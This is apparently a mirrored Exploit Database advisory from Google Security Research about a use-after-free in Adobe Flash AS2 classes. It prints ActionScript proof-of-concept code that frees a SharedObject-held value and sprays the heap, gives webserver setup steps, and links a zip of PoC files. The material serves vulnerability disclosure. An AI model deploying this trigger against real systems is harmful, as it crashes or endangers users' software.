Adobe Flash – ‘Setting’ Use-After-Free

• Exploit Database
• 13 阅读

• 作者： Google Security Research
  日期： 2015-08-19
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/37852/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=355&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
  
  In certain cases where a native AS2 class sets an internal variable, it can lead to a use-after-free if the variable is a SharedObject. While this example shows setting NetConnection.contentType, this applies to several other variables including many proprties of the Sound and NetStream classes.
  
  A proof of concept is as follows:
  
  var s = SharedObject.getLocal("test");
  ASSetPropFlags(s, null, 0, 0xff);
  ASSetPropFlags(s.data, null, 0, 0xff);
  var o = {myprop: "test", myprop2: "test"};
  s.data.contentType = o;
  flush();
  ASnative(2100, 200)(s.data); // new NetConnection
  trace(s.data.contentType);
  s = 1;
  
  //Do GC
  
  for(var i = 0; i < 100; i++){
  	
  	var b = new flash.display.BitmapData(100, 1000, true, 1000);
  	
  	}
  
  setInterval(c, 1000);
  function c(){
  	ASnative(252, 1).call(o); //Array push
  
  }
  
  A fla, an AS file and two swfs are attached. donotdelete.fla compiles to donotdelete.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and donotdelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. 
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37852.zip